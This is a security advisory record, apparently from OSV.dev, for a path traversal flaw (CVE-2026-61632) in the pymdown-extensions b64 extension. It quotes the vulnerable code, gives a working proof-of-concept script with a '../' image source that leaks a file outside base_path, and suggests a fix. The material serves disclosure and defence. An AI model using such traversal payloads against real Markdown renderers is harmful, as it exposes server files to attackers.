---
schema_version: '1.0'
id: security-20260725-6eddf9
url: https://osv.dev/vulnerability/GHSA-9xwg-3r6f-jcx2
url_hash: 6eddf9d1833e77485ca6e70fba045257b6dfd1d005776fd3fcbd9a90b16b5cd7
canonical_url: https://osv.dev/vulnerability/GHSA-9xwg-3r6f-jcx2
source: osv:ghsa
category: security/library
category_raw: cve/library
region: null
tags:
- cve
- CVE-2026-61632
- GHSA-9xwg-3r6f-jcx2
- severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- pymdown-extensions
- PyPI
lang: en
published_at: '2026-07-24T16:18:33Z'
fetched_at: '2026-07-25T07:04:02.227801Z'
updated_at: '2026-07-25T07:04:18Z'
status: published
content_hash: 40d81f56c068585f78ec560bf6ea9eb919cb12a69351ee942a65d70579468b4c
content_changed_at: null
license_note: full
summary: 'PyMdown Extensions: Path traversal in the b64 extension lets <img src> read
  files outside base_path'
summary_source: rss
summary_en: 'PyMdown Extensions: Path traversal in the b64 extension lets <img src>
  read files outside base_path'
entities: []
key_facts: []
related: []
related_auto: []
title: 'CVE-2026-61632: PyMdown Extensions: Path traversal in the b64 extension lets
  <img src> read files outside base_path'
---

# CVE-2026-61632: PyMdown Extensions: Path traversal in the b64 extension lets <img src> read files outside base_path

## TL;DR
PyMdown Extensions: Path traversal in the b64 extension lets <img src> read files outside base_path

## Key Points
- cve / CVE-2026-61632 / GHSA-9xwg-3r6f-jcx2 / severity:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N / pymdown-extensions / PyPI

## Details
**Severity:** CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
**Advisory:** GHSA-9xwg-3r6f-jcx2 (CVE-2026-61632)

**Affected (your watchlist):**
- `PyPI:pymdown-extensions` 10.21 → fixed in 11.0.0 [docker/docker-llmwiki]

**Details:**
### Summary

The `b64` extension inlines images referenced by `<img src="...">` as base64 data URIs. When resolving the `src` path it joins it onto the configured `base_path` with `os.path.normpath` and opens the result directly, with no check that the resolved path stays inside `base_path`. A `src` containing `../` sequences, or an absolute path, therefore reads a file outside `base_path` as long as that file has an allowed image extension (`.png`, `.jpg`, `.jpeg`, `.gif`, `.svg`). The base64 of that file is then embedded in the rendered output, disclosing its contents.

This is a separate code path from the `snippets` traversal issues (GHSA-jh85-wwv9-24hv, GHSA-62q4-447f-wv8h). It lives in `pymdownx/b64.py` and has no path restriction of any kind. Confirmed on `10.21.3` installed from PyPI.

### Details

In `pymdownx/b64.py`, function `repl_path` (around lines 68 to 90 on `main`):

```python
if is_absolute:
    file_name = os.path.normpath(path)                          # absolute src: base_path ignored entirely
else:
    file_name = os.path.normpath(os.path.join(base_path, path)) # relative src: '../' escapes base_path
if os.path.exists(file_name):
    ext = os.path.splitext(file_name)[1].lower()
    for b64_ext in file_types:
        if ext in b64_ext:
            with open(file_name, "rb") as f:                    # opened with no containment check
                ...
```

There is no `startswith(base_path)`, no `os.path.realpath` comparison, and no rejection of `..`. Both branches are reachable from an attacker-controlled `src`.

### PoC

Reproduced against an unmodified `pymdown-extensions==10.21.3` from PyPI. The script creates a `base_path` directory and a PNG one level above it, then renders Markdown whose image `src` points outside `base_path`, and confirms the outside file's bytes appear base64-encoded in the output.

```python
import base64, os, shutil, tempfile, markdown

root = tempfile.mkdtemp()
base_path = os.path.join(root, "docs"); os.makedirs(base_path)
outside = os.path.join(root, "secret"); os.makedirs(outside)

png = base64.b64decode(
    "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk"
    "+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg=="
)
with open(os.path.join(outside, "secret.png"), "wb") as f:
    f.write(png)

md = markdown.Markdown(
    extensions=["pymdownx.b64"],
    extension_configs={"pymdownx.b64": {"base_path": base_path}},
)
html = md.convert('<img src="../secret/secret.png">')

assert base64.b64encode(png).decode() in html, "not leaked"
print("LEAKED:", html)
```

Output:

```
LEAKED: <p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQ..."></p>
```

The base64 of a file outside `base_path` is present in the output. The absolute-path branch behaves the same way: an absolute `src` bypasses `base_path` entirely via `os.path.normpath(path)`. Both were confirmed leaking.

### Impact

An application that renders untrusted Markdown with `pymdownx.b64` enabled exposes the contents of image-extension files on the server, or any path the process can read, to whoever controls the Markdown and whoever views the output. The reach is bounded by the image-extension check, so it is a targeted file read rather than full arbitrary read, but it still discloses file contents that were never meant to be exposed.

### Suggested fix

Resolve the real path and require it to stay within `base_path` before opening:

```python
file_name = os.path.realpath(os.path.join(base_path, path))
base_real = os.path.realpath(base_path)
if file_name != base_real and not file_name.startswith(base_real + os.sep):
    return m.group(0)  # leave the tag untouched; do not read outside base_path
```

The same containment check should apply to the absolute-path branch rather than trusting an absolute `src`. Using `realpath` instead of `abspath` also closes the related symlink-following gap in the snippets handler.

**References:**
- https://github.com/facelessuser/pymdown-extensions/security/advisories/GHSA-9xwg-3r6f-jcx2
- https://github.com/facelessuser/pymdown-extensions/commit/edce35586d11a1ef78bb187bc60497fe6dbf3b64
- https://github.com/facelessuser/pymdown-extensions
- https://github.com/facelessuser/pymdown-extensions/releases/tag/11.0

_Data: OSV.dev (upstream: ghsa) — https://osv.dev/vulnerability/GHSA-9xwg-3r6f-jcx2_

## Source
元記事: [CVE-2026-61632: PyMdown Extensions: Path traversal in the b64 extension lets <img src> read files outside base_path](https://osv.dev/vulnerability/GHSA-9xwg-3r6f-jcx2) — published 2026-07-24T16:18:33Z
